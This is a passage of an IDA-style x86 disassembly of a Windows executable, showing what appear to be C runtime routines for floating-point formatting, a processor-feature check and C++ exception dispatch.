		fstsw	ax
		fld	ds:tbyte_42FB90
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_415D18:				; CODE XREF: sub_415CEC+1Aj
		test	cl, 10h
		jz	short loc_415D27
		fld	ds:tbyte_42FB9C
		fstp	[ebp+var_8]
		wait


loc_415D27:				; CODE XREF: sub_415CEC+2Fj
		test	cl, 4
		jz	short loc_415D35
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_415D35:				; CODE XREF: sub_415CEC+3Ej
		test	cl, 20h
		jz	short locret_415D40
		fldpi
		fstp	[ebp+var_8]
		wait

locret_415D40:				; CODE XREF: sub_415CEC+4Cj
		leave
		retn
sub_415CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D42	proc near		; CODE XREF: sub_4121D1+Fp
		push	30000h
		push	10000h
		call	sub_419689
		pop	ecx
		pop	ecx
		retn
sub_415D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D54	proc near		; CODE XREF: sub_415D92:loc_415DB6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41D7B8
		fstp	[ebp+var_8]
		fld	ds:dbl_41D7B0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_41D668
		fnstsw	ax
		sahf
		jbe	short loc_415D8E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_415D8E:				; CODE XREF: sub_415D54+33j
		xor	eax, eax
		leave
		retn
sub_415D54	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D92	proc near		; CODE XREF: sub_4121D1+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0A70000h
		cdq
		test	eax, eax
		jz	short loc_415DB6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_41D0A8
		test	eax, eax
		jz	short loc_415DB6
		push	0
		call	eax ; sub_4121D1
		retn
; ---------------------------------------------------------------------------


loc_415DB6:				; CODE XREF: sub_415D92+Dj
					; sub_415D92+1Dj
		jmp	sub_415D54
sub_415D92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415DBB	proc near		; DATA XREF: sub_4121E9+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_413477
		cmp	eax, 65h
		pop	ecx
		jz	short loc_415DFB


loc_415DCF:				; CODE XREF: sub_415DBB+3Ej
		inc	esi
		cmp	ds:dword_42FA7C, 1
		jle	short loc_415DE8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_415DF7
; ---------------------------------------------------------------------------


loc_415DE8:				; CODE XREF: sub_415DBB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_42F870
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_415DF7:				; CODE XREF: sub_415DBB+2Bj
		test	eax, eax
		jnz	short loc_415DCF


loc_415DFB:				; CODE XREF: sub_415DBB+12j
		mov	cl, ds:byte_42FA80
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_415E06:				; CODE XREF: sub_415DBB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_415E06
		pop	esi
		retn
sub_415DBB	endp

; ---------------------------------------------------------------------------


loc_415E15:				; DATA XREF: sub_4121E9+5o
		mov	eax, [esp+4]
		mov	dl, ds:byte_42FA80
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_415E31


loc_415E25:				; CODE XREF: seg000:00415E2Fj
		cmp	cl, dl
		jz	short loc_415E31
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_415E25


loc_415E31:				; CODE XREF: seg000:00415E23j
					; seg000:00415E27j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_415E62


loc_415E38:				; CODE XREF: seg000:00415E49j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_415E4B
		cmp	cl, 65h
		jz	short loc_415E4B
		cmp	cl, 45h
		jz	short loc_415E4B
		inc	eax
		jmp	short loc_415E38
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: seg000:00415E3Cj
					; seg000:00415E41j ...
		mov	ecx, eax


loc_415E4D:				; CODE XREF: seg000:00415E51j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_415E4D
		cmp	[eax], dl
		jnz	short loc_415E58
		dec	eax


loc_415E58:				; CODE XREF: seg000:00415E55j
					; seg000:00415E60j
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_415E58

locret_415E62:				; CODE XREF: seg000:00415E36j
		retn
; ---------------------------------------------------------------------------


loc_415E63:				; DATA XREF: sub_4121E9+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	ds:dbl_41D7A8
		fnstsw	ax
		sahf
		jb	short loc_415E78
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_415E78:				; CODE XREF: seg000:00415E72j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E7B	proc near		; DATA XREF: sub_4121E9+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_415EA4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_419B4C
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415EA4:				; CODE XREF: sub_415E7B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B79
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_415E7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB9	proc near		; CODE XREF: sub_416136+17p
					; sub_416180+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_460FF0,	0
		push	ebx
		push	esi
		jz	short loc_415EEE
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_460FEC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4161D1
		pop	ecx
		pop	ecx
		jmp	short loc_415F26
; ---------------------------------------------------------------------------


loc_415EEE:				; CODE XREF: sub_415EB9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_419C1D
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_419BA6
		add	esp, 14h


loc_415F26:				; CODE XREF: sub_415EB9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_415F32
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_415F32:				; CODE XREF: sub_415EB9+73j
		test	ebx, ebx
		jle	short loc_415F4A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_42FA80
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_415F4A:				; CODE XREF: sub_415EB9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_460FF0,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_412FC0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_415F71
		mov	byte ptr [ecx],	45h


loc_415F71:				; CODE XREF: sub_415EB9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_415FB6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_415F85
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_415F85:				; CODE XREF: sub_415EB9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_415F9C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_415F9C:				; CODE XREF: sub_415EB9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_415FB3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_415FB3:				; CODE XREF: sub_415EB9+E7j
		add	[ecx+1], bl


loc_415FB6:				; CODE XREF: sub_415EB9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415EB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FBD	proc near		; CODE XREF: sub_41615D+13p
					; sub_416180+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_460FF0,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_415FF8
		mov	eax, ds:dword_460FF4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_460FEC
		cmp	eax, ebx
		jnz	short loc_416028
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_416028
; ---------------------------------------------------------------------------


loc_415FF8:				; CODE XREF: sub_415FBD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_419C1D
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_419BA6
		add	esp, 14h


loc_416028:				; CODE XREF: sub_415FBD+22j
					; sub_415FBD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_416036
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_416036:				; CODE XREF: sub_415FBD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41604D
		push	1
		push	edi
		call	sub_4161D1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41604F
; ---------------------------------------------------------------------------


loc_41604D:				; CODE XREF: sub_415FBD+7Ej
		add	edi, eax


loc_41604F:				; CODE XREF: sub_415FBD+8Ej
		test	ebx, ebx
		jle	short loc_416094
		push	1
		push	edi
		call	sub_4161D1
		mov	al, ds:byte_42FA80
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_416094
		cmp	ds:byte_460FF0,	0
		jz	short loc_416079
		neg	esi
		jmp	short loc_41607F
; ---------------------------------------------------------------------------


loc_416079:				; CODE XREF: sub_415FBD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_416081


loc_41607F:				; CODE XREF: sub_415FBD+BAj
		mov	ebx, esi


loc_416081:				; CODE XREF: sub_415FBD+C0j
		push	ebx
		push	edi
		call	sub_4161D1
		push	ebx
		push	30h
		push	edi
		call	sub_4119E0
		add	esp, 14h


loc_416094:				; CODE XREF: sub_415FBD+94j
					; sub_415FBD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_415FBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41609B	proc near		; CODE XREF: sub_416180+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_419C1D
		mov	ds:dword_460FEC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_460FF4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_419BA6
		mov	eax, ds:dword_460FEC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_460FF4, ecx
		setl	cl
		mov	ds:byte_460FF8,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_460FF4, eax
		jl	short loc_416121
		cmp	eax, ebx
		jge	short loc_416121
		test	cl, cl
		jz	short loc_416112


loc_416108:				; CODE XREF: sub_41609B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_416108
		and	[esi-2], al


loc_416112:				; CODE XREF: sub_41609B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41615D
		add	esp, 0Ch
		jmp	short loc_416131
; ---------------------------------------------------------------------------


loc_416121:				; CODE XREF: sub_41609B+63j
					; sub_41609B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_416136
		add	esp, 10h


loc_416131:				; CODE XREF: sub_41609B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41609B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416136	proc near		; CODE XREF: sub_41609B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_460FF0,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_415EB9
		and	ds:byte_460FF0,	0
		add	esp, 10h
		retn
sub_416136	endp


; =============== S U B	R O U T	I N E =======================================



sub_41615D	proc near		; CODE XREF: sub_41609B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_460FF0,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415FBD
		and	ds:byte_460FF0,	0
		add	esp, 0Ch
		retn
sub_41615D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416180	proc near		; DATA XREF: sub_4121E9o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_4161BB
		cmp	[ebp+arg_8], 45h
		jz	short loc_4161BB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_4161A8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415FBD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4161A8:				; CODE XREF: sub_416180+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41609B
		jmp	short loc_4161CC
; ---------------------------------------------------------------------------


loc_4161BB:				; CODE XREF: sub_416180+7j
					; sub_416180+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415EB9


loc_4161CC:				; CODE XREF: sub_416180+39j
		add	esp, 10h
		pop	ebp
		retn
sub_416180	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161D1	proc near		; CODE XREF: sub_415EB9+2Cp
					; sub_415FBD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4161F4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_411FB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_412720
		add	esp, 10h
		pop	esi


loc_4161F4:				; CODE XREF: sub_4161D1+7j
		pop	edi
		retn
sub_4161D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161F6	proc near		; CODE XREF: seg000:004123CCp
					; sub_412435+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41620C
		call	sub_416A92


loc_41620C:				; CODE XREF: sub_4161F6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_416234
		cmp	dword ptr [esi+4], 0
		jz	short loc_41628A
		cmp	[ebp+arg_14], 0
		jnz	short loc_41628A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41653D
		add	esp, 10h
		jmp	short loc_41628A
; ---------------------------------------------------------------------------


loc_416234:				; CODE XREF: sub_4161F6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41628A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41626E
		cmp	[eax+14h], edi
		jbe	short loc_41626E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41626E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: sub_4161F6+4Aj
					; sub_4161F6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_416291
		add	esp, 20h


loc_41628A:				; CODE XREF: sub_4161F6+23j
					; sub_4161F6+29j ...
		push	1
		pop	eax


loc_41628D:				; CODE XREF: sub_4161F6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4161F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416291	proc near		; CODE XREF: sub_4161F6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_4162B1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_4162B6


loc_4162B1:				; CODE XREF: sub_416291+16j
		call	sub_416A92


loc_4162B6:				; CODE XREF: sub_416291+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41640D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41632A
		cmp	[esi+14h], edi
		jnz	short loc_41632A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41632A
		mov	esi, ds:dword_460FFC
		test	esi, esi
		jz	loc_416408
		mov	eax, ds:dword_461000
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_419DA4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41630C
		call	sub_416A92


loc_41630C:				; CODE XREF: sub_416291+74j
		cmp	[esi], ebx
		jnz	loc_41640D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41632A
		cmp	[esi+14h], edi
		jnz	short loc_41632A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41632A
		call	sub_416A92


loc_41632A:				; CODE XREF: sub_416291+41j
					; sub_416291+46j ...
		cmp	[esi], ebx
		jnz	loc_41640D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41640D
		cmp	[esi+14h], edi
		jnz	loc_41640D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_412583
		add	esp, 14h
		mov	ebx, eax


loc_416361:				; CODE XREF: sub_416291+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4163F8
		cmp	[ebx], edi
		jg	short loc_4163ED
		cmp	edi, [ebx+4]
		jg	short loc_4163ED
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4163EA


loc_416386:				; CODE XREF: sub_416291+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_4163B7


loc_416398:				; CODE XREF: sub_416291+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4164E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4163C6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_416398


loc_4163B7:				; CODE XREF: sub_416291+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_416386
		jmp	short loc_4163EA
; ---------------------------------------------------------------------------


loc_4163C6:				; CODE XREF: sub_416291+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4165F1
		add	esp, 2Ch


loc_4163EA:				; CODE XREF: sub_416291+F3j
					; sub_416291+133j
		mov	edi, [ebp+var_10]


loc_4163ED:				; CODE XREF: sub_416291+DEj
					; sub_416291+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_416361
; ---------------------------------------------------------------------------


loc_4163F8:				; CODE XREF: sub_416291+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_416408
		push	1
		push	esi
		call	sub_416966
		pop	ecx
		pop	ecx


loc_416408:				; CODE XREF: sub_416291+56j
					; sub_416291+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41640D:				; CODE XREF: sub_416291+37j
					; sub_416291+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_416433
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_416438
		add	esp, 20h
		jmp	short loc_416408
; ---------------------------------------------------------------------------


loc_416433:				; CODE XREF: sub_416291+180j
		jmp	sub_416A3C
sub_416291	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416438	proc near		; CODE XREF: sub_416291+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_461004, 0
		push	esi
		push	edi
		jz	short loc_416469
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41245A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4164DC


loc_416469:				; CODE XREF: sub_416438+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_412583
		add	esp, 14h
		mov	esi, eax


loc_416485:				; CODE XREF: sub_416438+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4164DC
		cmp	edi, [esi]
		jl	short loc_4164D4
		cmp	edi, [esi+4]
		jg	short loc_4164D4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4164AE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4164D4


loc_4164AE:				; CODE XREF: sub_416438+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4165F1
		add	esp, 2Ch


loc_4164D4:				; CODE XREF: sub_416438+57j
					; sub_416438+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_416485
; ---------------------------------------------------------------------------


loc_4164DC:				; CODE XREF: sub_416438+2Fj
					; sub_416438+53j
		pop	edi
		pop	esi
		leave
		retn
sub_416438	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164E0	proc near		; CODE XREF: sub_416291+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_416537
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_416537
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_416511
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_411D80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416533


loc_416511:				; CODE XREF: sub_4164E0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41651B
		test	byte ptr [edi],	8
		jz	short loc_416533


loc_41651B:				; CODE XREF: sub_4164E0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41652A
		test	byte ptr [edi],	1
		jz	short loc_416533


loc_41652A:				; CODE XREF: sub_4164E0+43j
		test	al, 2
		jz	short loc_416537
		test	byte ptr [edi],	2
		jnz	short loc_416537


loc_416533:				; CODE XREF: sub_4164E0+2Fj
					; sub_4164E0+39j ...
		xor	eax, eax
		jmp	short loc_41653A
; ---------------------------------------------------------------------------


loc_416537:				; CODE XREF: sub_4164E0+Bj
					; sub_4164E0+14j ...
		push	1
		pop	eax


loc_41653A:				; CODE XREF: sub_4164E0+55j
		pop	edi
		pop	esi
		retn
sub_4164E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41653D	proc near		; CODE XREF: sub_4161F6+34p
					; sub_4165F1+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D7F0
		push	offset sub_418F6C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
